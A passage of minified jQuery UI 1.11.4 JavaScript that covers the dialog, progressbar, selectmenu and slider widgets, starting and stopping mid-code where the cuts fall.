t?e.datepicker[\"_\"+t+\"Datepicker\"].apply(e.datepicker,[this].concat(i)):e.datepicker._attachDatepicker(this,t)}):e.datepicker[\"_\"+t+\"Datepicker\"].apply(e.datepicker,[this[0]].concat(i))},e.datepicker=new n,e.datepicker.initialized=!1,e.datepicker.uuid=(new Date).getTime(),e.datepicker.version=\"1.11.4\",e.datepicker,e.widget(\"ui.dialog\",{version:\"1.11.4\",options:{appendTo:\"body\",autoOpen:!0,buttons:[],closeOnEscape:!0,closeText:\"Close\",dialogClass:\"\",draggable:!0,hide:null,height:\"auto\",maxHeight:null,maxWidth:null,minHeight:150,minWidth:150,modal:!1,position:{my:\"center\",at:\"center\",of:window,collision:\"fit\",using:function(t){var i=e(this).css(t).offset().top;0>i&&e(this).css(\"top\",t.top-i)}},resizable:!0,show:null,title:null,width:300,beforeClose:null,close:null,drag:null,dragStart:null,dragStop:null,focus:null,open:null,resize:null,resizeStart:null,resizeStop:null},sizeRelatedOptions:{buttons:!0,height:!0,maxHeight:!0,maxWidth:!0,minHeight:!0,minWidth:!0,width:!0},resizableRelatedOptions:{maxHeight:!0,maxWidth:!0,minHeight:!0,minWidth:!0},_create:function(){this.originalCss={display:this.element[0].style.display,width:this.element[0].style.width,minHeight:this.element[0].style.minHeight,maxHeight:this.element[0].style.maxHeight,height:this.element[0].style.height},this.originalPosition={parent:this.element.parent(),index:this.element.parent().children().index(this.element)},this.originalTitle=this.element.attr(\"title\"),this.options.title=this.options.title||this.originalTitle,this._createWrapper(),this.element.show().removeAttr(\"title\").addClass(\"ui-dialog-content ui-widget-content\").appendTo(this.uiDialog),this._createTitlebar(),this._createButtonPane(),this.options.draggable&&e.fn.draggable&&this._makeDraggable(),this.options.resizable&&e.fn.resizable&&this._makeResizable(),this._isOpen=!1,this._trackFocus()},_init:function(){this.options.autoOpen&&this.open()},_appendTo:function(){var t=this.options.appendTo;return t&&(t.jquery||t.nodeType)?e(t):this.document.find(t||\"body\").eq(0)},_destroy:function(){var e,t=this.originalPosition;this._untrackInstance(),this._destroyOverlay(),this.element.removeUniqueId().removeClass(\"ui-dialog-content ui-widget-content\").css(this.originalCss).detach(),this.uiDialog.stop(!0,!0).remove(),this.originalTitle&&this.element.attr(\"title\",this.originalTitle),e=t.parent.children().eq(t.index),e.length&&e[0]!==this.element[0]?e.before(this.element):t.parent.append(this.element)},widget:function(){return this.uiDialog},disable:e.noop,enable:e.noop,close:function(t){var i,s=this;if(this._isOpen&&this._trigger(\"beforeClose\",t)!==!1){if(this._isOpen=!1,this._focusedElement=null,this._destroyOverlay(),this._untrackInstance(),!this.opener.filter(\":focusable\").focus().length)try{i=this.document[0].activeElement,i&&\"body\"!==i.nodeName.toLowerCase()&&e(i).blur()}catch(n){}this._hide(this.uiDialog,this.options.hide,function(){s._trigger(\"close\",t)})}},isOpen:function(){return this._isOpen},moveToTop:function(){this._moveToTop()},_moveToTop:function(t,i){var s=!1,n=this.uiDialog.siblings(\".ui-front:visible\").map(function(){return+e(this).css(\"z-index\")}).get(),o=Math.max.apply(null,n);return o>=+this.uiDialog.css(\"z-index\")&&(this.uiDialog.css(\"z-index\",o+1),s=!0),s&&!i&&this._trigger(\"focus\",t),s},open:function(){var t=this;\r\nreturn this._isOpen?(this._moveToTop()&&this._focusTabbable(),void 0):(this._isOpen=!0,this.opener=e(this.document[0].activeElement),this._size(),this._position(),this._createOverlay(),this._moveToTop(null,!0),this.overlay&&this.overlay.css(\"z-index\",this.uiDialog.css(\"z-index\")-1),this._show(this.uiDialog,this.options.show,function(){t._focusTabbable(),t._trigger(\"focus\")}),this._makeFocusTarget(),this._trigger(\"open\"),void 0)},_focusTabbable:function(){var e=this._focusedElement;e||(e=this.element.find(\"[autofocus]\")),e.length||(e=this.element.find(\":tabbable\")),e.length||(e=this.uiDialogButtonPane.find(\":tabbable\")),e.length||(e=this.uiDialogTitlebarClose.filter(\":tabbable\")),e.length||(e=this.uiDialog),e.eq(0).focus()},_keepFocus:function(t){function i(){var t=this.document[0].activeElement,i=this.uiDialog[0]===t||e.contains(this.uiDialog[0],t);i||this._focusTabbable()}t.preventDefault(),i.call(this),this._delay(i)},_createWrapper:function(){this.uiDialog=e(\"<div>\").addClass(\"ui-dialog ui-widget ui-widget-content ui-corner-all ui-front \"+this.options.dialogClass).hide().attr({tabIndex:-1,role:\"dialog\"}).appendTo(this._appendTo()),this._on(this.uiDialog,{keydown:function(t){if(this.options.closeOnEscape&&!t.isDefaultPrevented()&&t.keyCode&&t.keyCode===e.ui.keyCode.ESCAPE)return t.preventDefault(),this.close(t),void 0;if(t.keyCode===e.ui.keyCode.TAB&&!t.isDefaultPrevented()){var i=this.uiDialog.find(\":tabbable\"),s=i.filter(\":first\"),n=i.filter(\":last\");t.target!==n[0]&&t.target!==this.uiDialog[0]||t.shiftKey?t.target!==s[0]&&t.target!==this.uiDialog[0]||!t.shiftKey||(this._delay(function(){n.focus()}),t.preventDefault()):(this._delay(function(){s.focus()}),t.preventDefault())}},mousedown:function(e){this._moveToTop(e)&&this._focusTabbable()}}),this.element.find(\"[aria-describedby]\").length||this.uiDialog.attr({\"aria-describedby\":this.element.uniqueId().attr(\"id\")})},_createTitlebar:function(){var t;this.uiDialogTitlebar=e(\"<div>\").addClass(\"ui-dialog-titlebar ui-widget-header ui-corner-all ui-helper-clearfix\").prependTo(this.uiDialog),this._on(this.uiDialogTitlebar,{mousedown:function(t){e(t.target).closest(\".ui-dialog-titlebar-close\")||this.uiDialog.focus()}}),this.uiDialogTitlebarClose=e(\"<button type='button'></button>\").button({label:this.options.closeText,icons:{primary:\"ui-icon-closethick\"},text:!1}).addClass(\"ui-dialog-titlebar-close\").appendTo(this.uiDialogTitlebar),this._on(this.uiDialogTitlebarClose,{click:function(e){e.preventDefault(),this.close(e)}}),t=e(\"<span>\").uniqueId().addClass(\"ui-dialog-title\").prependTo(this.uiDialogTitlebar),this._title(t),this.uiDialog.attr({\"aria-labelledby\":t.attr(\"id\")})},_title:function(e){this.options.title||e.html(\"&#160;\"),e.text(this.options.title)},_createButtonPane:function(){this.uiDialogButtonPane=e(\"<div>\").addClass(\"ui-dialog-buttonpane ui-widget-content ui-helper-clearfix\"),this.uiButtonSet=e(\"<div>\").addClass(\"ui-dialog-buttonset\").appendTo(this.uiDialogButtonPane),this._createButtons()},_createButtons:function(){var t=this,i=this.options.buttons;return this.uiDialogButtonPane.remove(),this.uiButtonSet.empty(),e.isEmptyObject(i)||e.isArray(i)&&!i.length?(this.uiDialog.removeClass(\"ui-dialog-buttons\"),void 0):(e.each(i,function(i,s){var n,o;s=e.isFunction(s)?{click:s,text:i}:s,s=e.extend({type:\"button\"},s),n=s.click,s.click=function(){n.apply(t.element[0],arguments)},o={icons:s.icons,text:s.showText},delete s.icons,delete s.showText,e(\"<button></button>\",s).button(o).appendTo(t.uiButtonSet)}),this.uiDialog.addClass(\"ui-dialog-buttons\"),this.uiDialogButtonPane.appendTo(this.uiDialog),void 0)},_makeDraggable:function(){function t(e){return{position:e.position,offset:e.offset}}var i=this,s=this.options;this.uiDialog.draggable({cancel:\".ui-dialog-content, .ui-dialog-titlebar-close\",handle:\".ui-dialog-titlebar\",containment:\"document\",start:function(s,n){e(this).addClass(\"ui-dialog-dragging\"),i._blockFrames(),i._trigger(\"dragStart\",s,t(n))},drag:function(e,s){i._trigger(\"drag\",e,t(s))},stop:function(n,o){var a=o.offset.left-i.document.scrollLeft(),r=o.offset.top-i.document.scrollTop();s.position={my:\"left top\",at:\"left\"+(a>=0?\"+\":\"\")+a+\" \"+\"top\"+(r>=0?\"+\":\"\")+r,of:i.window},e(this).removeClass(\"ui-dialog-dragging\"),i._unblockFrames(),i._trigger(\"dragStop\",n,t(o))}})},_makeResizable:function(){function t(e){return{originalPosition:e.originalPosition,originalSize:e.originalSize,position:e.position,size:e.size}}var i=this,s=this.options,n=s.resizable,o=this.uiDialog.css(\"position\"),a=\"string\"==typeof n?n:\"n,e,s,w,se,sw,ne,nw\";this.uiDialog.resizable({cancel:\".ui-dialog-content\",containment:\"document\",alsoResize:this.element,maxWidth:s.maxWidth,maxHeight:s.maxHeight,minWidth:s.minWidth,minHeight:this._minHeight(),handles:a,start:function(s,n){e(this).addClass(\"ui-dialog-resizing\"),i._blockFrames(),i._trigger(\"resizeStart\",s,t(n))},resize:function(e,s){i._trigger(\"resize\",e,t(s))},stop:function(n,o){var a=i.uiDialog.offset(),r=a.left-i.document.scrollLeft(),h=a.top-i.document.scrollTop();s.height=i.uiDialog.height(),s.width=i.uiDialog.width(),s.position={my:\"left top\",at:\"left\"+(r>=0?\"+\":\"\")+r+\" \"+\"top\"+(h>=0?\"+\":\"\")+h,of:i.window},e(this).removeClass(\"ui-dialog-resizing\"),i._unblockFrames(),i._trigger(\"resizeStop\",n,t(o))}}).css(\"position\",o)},_trackFocus:function(){this._on(this.widget(),{focusin:function(t){this._makeFocusTarget(),this._focusedElement=e(t.target)}})},_makeFocusTarget:function(){this._untrackInstance(),this._trackingInstances().unshift(this)},_untrackInstance:function(){var t=this._trackingInstances(),i=e.inArray(this,t);-1!==i&&t.splice(i,1)},_trackingInstances:function(){var e=this.document.data(\"ui-dialog-instances\");return e||(e=[],this.document.data(\"ui-dialog-instances\",e)),e},_minHeight:function(){var e=this.options;return\"auto\"===e.height?e.minHeight:Math.min(e.minHeight,e.height)},_position:function(){var e=this.uiDialog.is(\":visible\");e||this.uiDialog.show(),this.uiDialog.position(this.options.position),e||this.uiDialog.hide()},_setOptions:function(t){var i=this,s=!1,n={};e.each(t,function(e,t){i._setOption(e,t),e in i.sizeRelatedOptions&&(s=!0),e in i.resizableRelatedOptions&&(n[e]=t)}),s&&(this._size(),this._position()),this.uiDialog.is(\":data(ui-resizable)\")&&this.uiDialog.resizable(\"option\",n)},_setOption:function(e,t){var i,s,n=this.uiDialog;\"dialogClass\"===e&&n.removeClass(this.options.dialogClass).addClass(t),\"disabled\"!==e&&(this._super(e,t),\"appendTo\"===e&&this.uiDialog.appendTo(this._appendTo()),\"buttons\"===e&&this._createButtons(),\"closeText\"===e&&this.uiDialogTitlebarClose.button({label:\"\"+t}),\"draggable\"===e&&(i=n.is(\":data(ui-draggable)\"),i&&!t&&n.draggable(\"destroy\"),!i&&t&&this._makeDraggable()),\"position\"===e&&this._position(),\"resizable\"===e&&(s=n.is(\":data(ui-resizable)\"),s&&!t&&n.resizable(\"destroy\"),s&&\"string\"==typeof t&&n.resizable(\"option\",\"handles\",t),s||t===!1||this._makeResizable()),\"title\"===e&&this._title(this.uiDialogTitlebar.find(\".ui-dialog-title\")))},_size:function(){var e,t,i,s=this.options;this.element.show().css({width:\"auto\",minHeight:0,maxHeight:\"none\",height:0}),s.minWidth>s.width&&(s.width=s.minWidth),e=this.uiDialog.css({height:\"auto\",width:s.width}).outerHeight(),t=Math.max(0,s.minHeight-e),i=\"number\"==typeof s.maxHeight?Math.max(0,s.maxHeight-e):\"none\",\"auto\"===s.height?this.element.css({minHeight:t,maxHeight:i,height:\"auto\"}):this.element.height(Math.max(0,s.height-e)),this.uiDialog.is(\":data(ui-resizable)\")&&this.uiDialog.resizable(\"option\",\"minHeight\",this._minHeight())},_blockFrames:function(){this.iframeBlocks=this.document.find(\"iframe\").map(function(){var t=e(this);return e(\"<div>\").css({position:\"absolute\",width:t.outerWidth(),height:t.outerHeight()}).appendTo(t.parent()).offset(t.offset())[0]})},_unblockFrames:function(){this.iframeBlocks&&(this.iframeBlocks.remove(),delete this.iframeBlocks)},_allowInteraction:function(t){return e(t.target).closest(\".ui-dialog\").length?!0:!!e(t.target).closest(\".ui-datepicker\").length},_createOverlay:function(){if(this.options.modal){var t=!0;this._delay(function(){t=!1}),this.document.data(\"ui-dialog-overlays\")||this._on(this.document,{focusin:function(e){t||this._allowInteraction(e)||(e.preventDefault(),this._trackingInstances()[0]._focusTabbable())}}),this.overlay=e(\"<div>\").addClass(\"ui-widget-overlay ui-front\").appendTo(this._appendTo()),this._on(this.overlay,{mousedown:\"_keepFocus\"}),this.document.data(\"ui-dialog-overlays\",(this.document.data(\"ui-dialog-overlays\")||0)+1)}},_destroyOverlay:function(){if(this.options.modal&&this.overlay){var e=this.document.data(\"ui-dialog-overlays\")-1;e?this.document.data(\"ui-dialog-overlays\",e):this.document.unbind(\"focusin\").removeData(\"ui-dialog-overlays\"),this.overlay.remove(),this.overlay=null}}}),e.widget(\"ui.progressbar\",{version:\"1.11.4\",options:{max:100,value:0,change:null,complete:null},min:0,_create:function(){this.oldValue=this.options.value=this._constrainedValue(),this.element.addClass(\"ui-progressbar ui-widget ui-widget-content ui-corner-all\").attr({role:\"progressbar\",\"aria-valuemin\":this.min}),this.valueDiv=e(\"<div class='ui-progressbar-value ui-widget-header ui-corner-left'></div>\").appendTo(this.element),this._refreshValue()},_destroy:function(){this.element.removeClass(\"ui-progressbar ui-widget ui-widget-content ui-corner-all\").removeAttr(\"role\").removeAttr(\"aria-valuemin\").removeAttr(\"aria-valuemax\").removeAttr(\"aria-valuenow\"),this.valueDiv.remove()},value:function(e){return void 0===e?this.options.value:(this.options.value=this._constrainedValue(e),this._refreshValue(),void 0)},_constrainedValue:function(e){return void 0===e&&(e=this.options.value),this.indeterminate=e===!1,\"number\"!=typeof e&&(e=0),this.indeterminate?!1:Math.min(this.options.max,Math.max(this.min,e))},_setOptions:function(e){var t=e.value;delete e.value,this._super(e),this.options.value=this._constrainedValue(t),this._refreshValue()},_setOption:function(e,t){\"max\"===e&&(t=Math.max(this.min,t)),\"disabled\"===e&&this.element.toggleClass(\"ui-state-disabled\",!!t).attr(\"aria-disabled\",t),this._super(e,t)},_percentage:function(){return this.indeterminate?100:100*(this.options.value-this.min)/(this.options.max-this.min)},_refreshValue:function(){var t=this.options.value,i=this._percentage();this.valueDiv.toggle(this.indeterminate||t>this.min).toggleClass(\"ui-corner-right\",t===this.options.max).width(i.toFixed(0)+\"%\"),this.element.toggleClass(\"ui-progressbar-indeterminate\",this.indeterminate),this.indeterminate?(this.element.removeAttr(\"aria-valuenow\"),this.overlayDiv||(this.overlayDiv=e(\"<div class='ui-progressbar-overlay'></div>\").appendTo(this.valueDiv))):(this.element.attr({\"aria-valuemax\":this.options.max,\"aria-valuenow\":t}),this.overlayDiv&&(this.overlayDiv.remove(),this.overlayDiv=null)),this.oldValue!==t&&(this.oldValue=t,this._trigger(\"change\")),t===this.options.max&&this._trigger(\"complete\")}}),e.widget(\"ui.selectmenu\",{version:\"1.11.4\",defaultElement:\"<select>\",options:{appendTo:null,disabled:null,icons:{button:\"ui-icon-triangle-1-s\"},position:{my:\"left top\",at:\"left bottom\",collision:\"none\"},width:null,change:null,close:null,focus:null,open:null,select:null},_create:function(){var e=this.element.uniqueId().attr(\"id\");this.ids={element:e,button:e+\"-button\",menu:e+\"-menu\"},this._drawButton(),this._drawMenu(),this.options.disabled&&this.disable()},_drawButton:function(){var t=this;this.label=e(\"label[for='\"+this.ids.element+\"']\").attr(\"for\",this.ids.button),this._on(this.label,{click:function(e){this.button.focus(),e.preventDefault()}}),this.element.hide(),this.button=e(\"<span>\",{\"class\":\"ui-selectmenu-button ui-widget ui-state-default ui-corner-all\",tabindex:this.options.disabled?-1:0,id:this.ids.button,role:\"combobox\",\"aria-expanded\":\"false\",\"aria-autocomplete\":\"list\",\"aria-owns\":this.ids.menu,\"aria-haspopup\":\"true\"}).insertAfter(this.element),e(\"<span>\",{\"class\":\"ui-icon \"+this.options.icons.button}).prependTo(this.button),this.buttonText=e(\"<span>\",{\"class\":\"ui-selectmenu-text\"}).appendTo(this.button),this._setText(this.buttonText,this.element.find(\"option:selected\").text()),this._resizeButton(),this._on(this.button,this._buttonEvents),this.button.one(\"focusin\",function(){t.menuItems||t._refreshMenu()}),this._hoverable(this.button),this._focusable(this.button)},_drawMenu:function(){var t=this;this.menu=e(\"<ul>\",{\"aria-hidden\":\"true\",\"aria-labelledby\":this.ids.button,id:this.ids.menu}),this.menuWrap=e(\"<div>\",{\"class\":\"ui-selectmenu-menu ui-front\"}).append(this.menu).appendTo(this._appendTo()),this.menuInstance=this.menu.menu({role:\"listbox\",select:function(e,i){e.preventDefault(),t._setSelection(),t._select(i.item.data(\"ui-selectmenu-item\"),e)},focus:function(e,i){var s=i.item.data(\"ui-selectmenu-item\");null!=t.focusIndex&&s.index!==t.focusIndex&&(t._trigger(\"focus\",e,{item:s}),t.isOpen||t._select(s,e)),t.focusIndex=s.index,t.button.attr(\"aria-activedescendant\",t.menuItems.eq(s.index).attr(\"id\"))}}).menu(\"instance\"),this.menu.addClass(\"ui-corner-bottom\").removeClass(\"ui-corner-all\"),this.menuInstance._off(this.menu,\"mouseleave\"),this.menuInstance._closeOnDocumentClick=function(){return!1},this.menuInstance._isDivider=function(){return!1}},refresh:function(){this._refreshMenu(),this._setText(this.buttonText,this._getSelectedItem().text()),this.options.width||this._resizeButton()},_refreshMenu:function(){this.menu.empty();var e,t=this.element.find(\"option\");t.length&&(this._parseOptions(t),this._renderMenu(this.menu,this.items),this.menuInstance.refresh(),this.menuItems=this.menu.find(\"li\").not(\".ui-selectmenu-optgroup\"),e=this._getSelectedItem(),this.menuInstance.focus(null,e),this._setAria(e.data(\"ui-selectmenu-item\")),this._setOption(\"disabled\",this.element.prop(\"disabled\")))},open:function(e){this.options.disabled||(this.menuItems?(this.menu.find(\".ui-state-focus\").removeClass(\"ui-state-focus\"),this.menuInstance.focus(null,this._getSelectedItem())):this._refreshMenu(),this.isOpen=!0,this._toggleAttr(),this._resizeMenu(),this._position(),this._on(this.document,this._documentClick),this._trigger(\"open\",e))},_position:function(){this.menuWrap.position(e.extend({of:this.button},this.options.position))},close:function(e){this.isOpen&&(this.isOpen=!1,this._toggleAttr(),this.range=null,this._off(this.document),this._trigger(\"close\",e))},widget:function(){return this.button},menuWidget:function(){return this.menu},_renderMenu:function(t,i){var s=this,n=\"\";e.each(i,function(i,o){o.optgroup!==n&&(e(\"<li>\",{\"class\":\"ui-selectmenu-optgroup ui-menu-divider\"+(o.element.parent(\"optgroup\").prop(\"disabled\")?\" ui-state-disabled\":\"\"),text:o.optgroup}).appendTo(t),n=o.optgroup),s._renderItemData(t,o)})},_renderItemData:function(e,t){return this._renderItem(e,t).data(\"ui-selectmenu-item\",t)},_renderItem:function(t,i){var s=e(\"<li>\");return i.disabled&&s.addClass(\"ui-state-disabled\"),this._setText(s,i.label),s.appendTo(t)},_setText:function(e,t){t?e.text(t):e.html(\"&#160;\")},_move:function(e,t){var i,s,n=\".ui-menu-item\";this.isOpen?i=this.menuItems.eq(this.focusIndex):(i=this.menuItems.eq(this.element[0].selectedIndex),n+=\":not(.ui-state-disabled)\"),s=\"first\"===e||\"last\"===e?i[\"first\"===e?\"prevAll\":\"nextAll\"](n).eq(-1):i[e+\"All\"](n).eq(0),s.length&&this.menuInstance.focus(t,s)},_getSelectedItem:function(){return this.menuItems.eq(this.element[0].selectedIndex)},_toggle:function(e){this[this.isOpen?\"close\":\"open\"](e)},_setSelection:function(){var e;this.range&&(window.getSelection?(e=window.getSelection(),e.removeAllRanges(),e.addRange(this.range)):this.range.select(),this.button.focus())},_documentClick:{mousedown:function(t){this.isOpen&&(e(t.target).closest(\".ui-selectmenu-menu, #\"+this.ids.button).length||this.close(t))}},_buttonEvents:{mousedown:function(){var e;window.getSelection?(e=window.getSelection(),e.rangeCount&&(this.range=e.getRangeAt(0))):this.range=document.selection.createRange()},click:function(e){this._setSelection(),this._toggle(e)},keydown:function(t){var i=!0;switch(t.keyCode){case e.ui.keyCode.TAB:case e.ui.keyCode.ESCAPE:this.close(t),i=!1;break;case e.ui.keyCode.ENTER:this.isOpen&&this._selectFocusedItem(t);break;case e.ui.keyCode.UP:t.altKey?this._toggle(t):this._move(\"prev\",t);break;case e.ui.keyCode.DOWN:t.altKey?this._toggle(t):this._move(\"next\",t);break;case e.ui.keyCode.SPACE:this.isOpen?this._selectFocusedItem(t):this._toggle(t);break;case e.ui.keyCode.LEFT:this._move(\"prev\",t);break;case e.ui.keyCode.RIGHT:this._move(\"next\",t);break;case e.ui.keyCode.HOME:case e.ui.keyCode.PAGE_UP:this._move(\"first\",t);break;case e.ui.keyCode.END:case e.ui.keyCode.PAGE_DOWN:this._move(\"last\",t);break;default:this.menu.trigger(t),i=!1}i&&t.preventDefault()}},_selectFocusedItem:function(e){var t=this.menuItems.eq(this.focusIndex);t.hasClass(\"ui-state-disabled\")||this._select(t.data(\"ui-selectmenu-item\"),e)},_select:function(e,t){var i=this.element[0].selectedIndex;this.element[0].selectedIndex=e.index,this._setText(this.buttonText,e.label),this._setAria(e),this._trigger(\"select\",t,{item:e}),e.index!==i&&this._trigger(\"change\",t,{item:e}),this.close(t)},_setAria:function(e){var t=this.menuItems.eq(e.index).attr(\"id\");this.button.attr({\"aria-labelledby\":t,\"aria-activedescendant\":t}),this.menu.attr(\"aria-activedescendant\",t)},_setOption:function(e,t){\"icons\"===e&&this.button.find(\"span.ui-icon\").removeClass(this.options.icons.button).addClass(t.button),this._super(e,t),\"appendTo\"===e&&this.menuWrap.appendTo(this._appendTo()),\"disabled\"===e&&(this.menuInstance.option(\"disabled\",t),this.button.toggleClass(\"ui-state-disabled\",t).attr(\"aria-disabled\",t),this.element.prop(\"disabled\",t),t?(this.button.attr(\"tabindex\",-1),this.close()):this.button.attr(\"tabindex\",0)),\"width\"===e&&this._resizeButton()},_appendTo:function(){var t=this.options.appendTo;return t&&(t=t.jquery||t.nodeType?e(t):this.document.find(t).eq(0)),t&&t[0]||(t=this.element.closest(\".ui-front\")),t.length||(t=this.document[0].body),t},_toggleAttr:function(){this.button.toggleClass(\"ui-corner-top\",this.isOpen).toggleClass(\"ui-corner-all\",!this.isOpen).attr(\"aria-expanded\",this.isOpen),this.menuWrap.toggleClass(\"ui-selectmenu-open\",this.isOpen),this.menu.attr(\"aria-hidden\",!this.isOpen)},_resizeButton:function(){var e=this.options.width;e||(e=this.element.show().outerWidth(),this.element.hide()),this.button.outerWidth(e)},_resizeMenu:function(){this.menu.outerWidth(Math.max(this.button.outerWidth(),this.menu.width(\"\").outerWidth()+1))},_getCreateOptions:function(){return{disabled:this.element.prop(\"disabled\")}},_parseOptions:function(t){var i=[];t.each(function(t,s){var n=e(s),o=n.parent(\"optgroup\");i.push({element:n,index:t,value:n.val(),label:n.text(),optgroup:o.attr(\"label\")||\"\",disabled:o.prop(\"disabled\")||n.prop(\"disabled\")})}),this.items=i},_destroy:function(){this.menuWrap.remove(),this.button.remove(),this.element.show(),this.element.removeUniqueId(),this.label.attr(\"for\",this.ids.element)}}),e.widget(\"ui.slider\",e.ui.mouse,{version:\"1.11.4\",widgetEventPrefix:\"slide\",options:{animate:!1,distance:0,max:100,min:0,orientation:\"horizontal\",range:!1,step:1,value:0,values:null,change:null,slide:null,start:null,stop:null},numPages:5,_create:function(){this._keySliding=!1,this._mouseSliding=!1,this._animateOff=!0,this._handleIndex=null,this._detectOrientation(),this._mouseInit(),this._calculateNewMax(),this.element.addClass(\"ui-slider ui-slider-\"+this.orientation+\" ui-widget\"+\" ui-widget-content\"+\" ui-corner-all\"),this._refresh(),this._setOption(\"disabled\",this.options.disabled),this._animateOff=!1},_refresh:function(){this._createRange(),this._createHandles(),this._setupEvents(),this._refreshValue()},_createHandles:function(){var t,i,s=this.options,n=this.element.find(\".ui-slider-handle\").addClass(\"ui-state-default ui-corner-all\"),o=\"<span class='ui-slider-handle ui-state-default ui-corner-all' tabindex='0'></span>\",a=[];for(i=s.values&&s.values.length||1,n.length>i&&(n.slice(i).remove(),n=n.slice(0,i)),t=n.length;i>t;t++)a.push(o);this.handles=n.add(e(a.join(\"\")).appendTo(this.element)),this.handle=this.handles.eq(0),this.handles.each(function(t){e(this).data(\"ui-slider-handle-index\",t)})},_createRange:function(){var t=this.options,i=\"\";t.range?(t.range===!0&&(t.values?t.values.length&&2!==t.values.length?t.values=[t.values[0],t.values[0]]:e.isArray(t.values)&&(t.values=t.values.slice(0)):t.values=[this._valueMin(),this._valueMin()]),this.range&&this.range.length?this.range.removeClass(\"ui-slider-range-min ui-slider-range-max\").css({left:\"\",bottom:\"\"}):(this.range=e(\"<div></div>\").appendTo(this.element),i=\"ui-slider-range ui-widget-header ui-corner-all\"),this.range.addClass(i+(\"min\"===t.range||\"max\"===t.range?\" ui-slider-range-\"+t.range:\"\"))):(this.range&&this.range.remove(),this.range=null)},_setupEvents:function(){this._off(this.handles),this._on(this.handles,this._handleEvents),this._hoverable(this.handles),this._focusable(this.handles)},_destroy:function(){this.handles.remove(),this.range&&this.range.remove(),this.element.removeClass(\"ui-slider ui-slider-horizontal ui-slider-vertical ui-widget ui-widget-content ui-corner-all\"),this._mouseDestroy()},_mouseCapture:function(t){var i,s,n,o,a,r,h,l,u=this,c=this.options;return c.disabled?!1:(this.elementSize={width:this.element.outerWidth(),height:this.element.outerHeight()},this.elementOffset=this.element.offset(),i={x:t.pageX,y:t.pageY},s=this._normValueFromMouse(i),n=this._valueMax()-this._valueMin()+1,this.handles.each(function(t){var i=Math.abs(s-u.values(t));(n>i||n===i&&(t===u._lastChangedValue||u.values(t)===c.min))&&(n=i,o=e(this),a=t)}),r=this._start(t,a),r===!1?!1:(this._mouseSliding=!0,this._handleIndex=a,o.addClass(\"ui-state-active\").focus(),h=o.offset(),l=!e(t.target).parents().addBack().is(\".ui-slider-handle\"),this._clickOffset=l?{left:0,top:0}:{left:t.pageX-h.left-o.width()/2,top:t.pageY-h.top-o.height()/2-(parseInt(o.css(\"borderTopWidth\"),10)||0)-(parseInt(o.css(\"borderBottomWidth\"),10)||0)+(parseInt(o.css(\"marginTop\"),10)||0)},this.handles.hasClass(\"ui-state-hover\")||this._slide(t,a,s),this._animateOff=!0,!0))},_mouseStart:function(){return!0},_mouseDrag:function(e){var t={x:e.pageX,y:e.pageY},i=this._normValueFromMouse(t);return this._slide(e,this._handleIndex,i),!1},_mouseStop:function(e){return this.handles.removeClass(\"ui-state-active\"),this._mouseSliding=!1,this._stop(e,this._handleIndex),this._change(e,this._handleIndex),this._handleIndex=null,this._clickOffset=null,this._animateOff=!1,!1},_detectOrientation:function(){this.orientation=\"vertical\"===this.options.orientation?\"vertical\":\"horizontal\"},_normValueFromMouse:function(e){var t,i,s,n,o;return\"horizontal\"===this.orientation?(t=this.elementSize.width,i=e.x-this.elementOffset.left-(this._clickOffset?this._clickOffset.left:0)):(t=this.elementSize.height,i=e.y-this.elementOffset.top-(this._clickOffset?this._clickOffset.top:0)),s=i/t,s>1&&(s=1),0>s&&(s=0),\"vertical\"===this.orientation&&(s=1-s),n=this._valueMax()-this._valueMin(),o=this._valueMin()+s*n,this._trimAlignValue(o)},_start:function(e,t){var i={handle:this.handles[t],value:this.value()};return this.options.values&&this.options.values.length&&(i.value=this.values(t),i.values=this.values()),this._trigger(\"start\",e,i)},_slide:function(e,t,i){var s,n,o;this.options.values&&this.options.values.length?(s=this.values(t?0:1),2===this.options.values.length&&this.options.range===!0&&(0===t&&i>s||1===t&&s>i)&&(i=s),i!==this.values(t)&&(n=this.values(),n[t]=i,o=this._trigger(\"slide\",e,{handle:this.handles[t],value:i,values:n}),s=this.values(t?0:1),o!==!1&&this.values(t,i))):i!==this.value()&&(o=this._trigger(\"slide\",e,{handle:this.handles[t],value:i}),o!==!1&&this.value(i))},_stop:function(e,t){var i={handle:this.handles[t],value:this.value()};this.options.values&&this.options.values.length&&(i.value=this.values(t),i.values=this.values()),this._trigger(\"stop\",e,i)},_change:function(e,t){if(!this._keySliding&&!this._mouseSliding){var i={handle:this.handles[t],value:this.value()};this.options.values&&this.options.values.length&&(i.value=this.values(t),i.values=this.values()),this._lastChangedValue=t,this._trigger(\"change\",e,i)}},value:function(e){return arguments.length?(this.options.value=this._trimAlignValue(e),this._refreshValue(),this._change(null,0),void 0):this._value()},values:function(t,i){var s,n,o;if(arguments.length>1)return this.options.values[t]=this._trimAlignValue(i),this._refreshValue(),this._change(null,t),void 0;if(!arguments.length)return this._values();if(!e.isArray(arguments[0]))return this.options.values&&this.options.values.length?this._values(t):this.value();for(s=this.options.values,n=arguments[0],o=0;s.length>o;o+=1)s[o]=this._trimAlignValue(n[o]),this._change(null,o);this._refreshValue()},_setOption:function(t,i){var s,n=0;switch(\"range\"===t&&this.options.range===!0&&(\"min\"===i?(this.options.value=this._values(0),this.options.values=null):\"max\"===i&&(this.options.value=this._values(this.options.values.length-1),this.options.values=null)),e.isArray(this.options.values)&&(n=this.options.values.length),\"disabled\"===t&&this.element.toggleClass(\"ui-state-disabled\",!!i),this._super(t,i),t){case\"orientation\":this._detectOrientation(),this.element.removeClass(\"ui-slider-horizontal ui-slider-vertical\").addClass(\"ui-slider-\"+this.orientation),this._refreshValue(),this.handles.css(\"horizontal\"===i?\"bottom\":\"left\",\"\");break;case\"value\":this._animateOff=!0,this._refreshValue(),this._change(null,0),this._animateOff=!1;break;case\"values\":for(this._animateOff=!0,this._refreshValue(),s=0;n>s;s+=1)this._change(null,s);this._animateOff=!1;break;case\"step\":case\"min\":case\"max\":this._animateOff=!0,this._calculateNewMax(),this._refreshValue(),this._animateOff=!1;break;case\"range\":this._animateOff=!0,this._refresh(),this._animateOff=!1}},_value:function(){var e=this.options.value;return e=this._trimAlignValue(e)},_values:function(e){var t,i,s;if(arguments.length)return t=this.options.values[e],t=this._trimAlignValue(t);if(this.options.values&&this.options.values.length){for(i=this.options.values.slice(),s=0;i.length>s;s+=1)i[s]=this._trimAlignValue(i[s]);return i}return[]},_trimAlignValue:function(e){if(this._valueMin()>=e)return this._valueMin();if(e>=this._valueMax())return this._valueMax();var t=this.options.step>0?this.options.step:1,i=(e-this._valueMin())%t,s=e-i;return 